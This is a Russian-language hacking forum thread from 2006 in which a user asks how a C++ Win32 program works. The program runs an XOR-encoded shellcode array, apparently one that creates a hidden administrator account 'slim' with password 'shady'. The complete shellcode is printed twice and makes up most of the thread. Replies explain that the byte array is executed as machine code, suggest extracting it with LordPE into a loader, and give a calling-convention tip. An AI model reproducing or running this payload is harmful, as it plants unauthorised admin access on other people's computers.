Объясните работу кода. C++ под win32

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by TRОJAN, 4 Jan 2006.

  1. TRОJAN

    TRОJAN New Member

    Joined:
    12 Dec 2004
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    PHP:
    #include <stdio.h>

    unsigned char data[] = 
    "\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x61\x7A\x61\x75\xF4\xEB"
    "\x05\xE8\xEC\xFF\xFF\xFF\xFE\xB6\x17\x17\x17\x4A\x42\x26\xCC\x73"
    "\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14\x71\x26\xC5"
    "\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x13\x3E\xD5\xFC\xE2\x9E"
    "\xC4\x9C\x6D\x2B\x16\xC0\x14\x48\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C"
    "\x6C\x33\x16\xC1\x16\xC0\xEB\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE"
    "\x97\xD6\x18\xE4\xB1\x65\x1D\x81\x4E\x90\xEA\x63\x18\x50\x50\xF5"
    "\xF1\xA9\x18\x17\x17\x17\x3E\xD9\x3E\xE0\xFC\xFC\x26\xD7\x71\x9C"
    "\x10\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1"
    "\x9E\xC0\x4A\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17"
    "\x17\x17\x9A\x9A\x27\x17\x17\x17\x46\xE8\xC7\x9A\x92\x33\x17\x17"
    "\x17\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x4D\xE8\xE8"
    "\xE8\x50\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17"
    "\x5B\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x40\x7E\x79"
    "\x52\x6F\x72\x74\x17\x52\x6F\x7E\x63\x47\x65\x78\x74\x72\x64\x64"
    "\x17\x74\x7A\x73\x37\x38\x74\x37\x79\x72\x63\x37\x62\x64\x72\x65"
    "\x37\x38\x76\x73\x73\x37\x64\x7B\x7E\x7A\x37\x64\x7F\x76\x73\x6E"
    "\x31\x31\x79\x72\x63\x37\x7B\x78\x74\x76\x7B\x70\x65\x78\x62\x67"
    "\x37\x38\x76\x73\x73\x37\xF7\xF3\xFB\xFF\xFA\xFF\xE6\xE5\xE7\xF7"
    "\xE5\xF9\xE7\xEC\x37\x64\x7B\x7E\x7A\x17\x6D\x61\x7A\x61"
    ;



    int main()
    {
        
    void (*shell)();
        *(
    int *)&shell = (int)data;
        
    shell();
    }
    Чет я не пойму как работает этот кусок кода, в частноси *(int *)&shell = (int)data;

    Он создает юзера slim и пароль shady с правами админа под вин32

    И как можно прочитать(!) data
     
  2. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    вообще-то в этом деле я нуб, но попробую обьяснить:
    Code:
    unsigned char data[] =  
    "\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x61\x7A\x61\x75\xF4\xEB" 
    "\x05\xE8\xEC\xFF\xFF\xFF\xFE\xB6\x17\x17\x17\x4A\x42\x26\xCC\x73" 
    "\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14\x71\x26\xC5" 
    "\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x13\x3E\xD5\xFC\xE2\x9E" 
    "\xC4\x9C\x6D\x2B\x16\xC0\x14\x48\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C" 
    "\x6C\x33\x16\xC1\x16\xC0\xEB\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE" 
    "\x97\xD6\x18\xE4\xB1\x65\x1D\x81\x4E\x90\xEA\x63\x18\x50\x50\xF5" 
    "\xF1\xA9\x18\x17\x17\x17\x3E\xD9\x3E\xE0\xFC\xFC\x26\xD7\x71\x9C" 
    "\x10\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1" 
    "\x9E\xC0\x4A\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17" 
    "\x17\x17\x9A\x9A\x27\x17\x17\x17\x46\xE8\xC7\x9A\x92\x33\x17\x17" 
    "\x17\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x4D\xE8\xE8" 
    "\xE8\x50\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17" 
    "\x5B\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x40\x7E\x79" 
    "\x52\x6F\x72\x74\x17\x52\x6F\x7E\x63\x47\x65\x78\x74\x72\x64\x64" 
    "\x17\x74\x7A\x73\x37\x38\x74\x37\x79\x72\x63\x37\x62\x64\x72\x65" 
    "\x37\x38\x76\x73\x73\x37\x64\x7B\x7E\x7A\x37\x64\x7F\x76\x73\x6E" 
    "\x31\x31\x79\x72\x63\x37\x7B\x78\x74\x76\x7B\x70\x65\x78\x62\x67" 
    "\x37\x38\x76\x73\x73\x37\xF7\xF3\xFB\xFF\xFA\xFF\xE6\xE5\xE7\xF7" 
    "\xE5\xF9\xE7\xEC\x37\x64\x7B\x7E\x7A\x17\x6D\x61\x7A\x61";
    
    это машинный код, тоесть создается буфер data содержащий машинный код (который создает юзера slim и пароль shady с правами админа - если тебе верить)

    Code:
    void (*shell)(); 
    *(int *)&shell = (int)data;
    создается функция shell стартовый адрес которой содержится в машинном коде data

    Code:
    shell();
    фактически это выполнение машинного кода который содержится в data
     
  3. TRОJAN

    TRОJAN New Member

    Joined:
    12 Dec 2004
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Хм... а как можно этот код перегнать скажем в АСМ или т.п.?
     
  4. ProTeuS

    ProTeuS --

    Joined:
    26 Nov 2004
    Messages:
    1,239
    Likes Received:
    542
    Reputations:
    445
    компилируешь программу, выполняющую шеллкод и с помощью утилиты LordPE сохраняешь содержащую его секцию данных. дальше можешь ее "прикру4ивать" куда нужно делая загруз4ик...хотя в данном слу4ае не вижу в єтом смысла...

    а по поводу перевода в асм или т.п.: по4итай
    The Complete Pentium Instruction Set Table
    (32 Bit Addressing Mode Only)
    by Sang Cho
     
  5. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,305
    Reputations:
    327
    кстати внимание при самопальном написании подобной вещи стоит уделять соглашению о вызовах по умолчанию (calling convention (stdcall/cdecl)) иначе можно уехать в рантайм изза стека))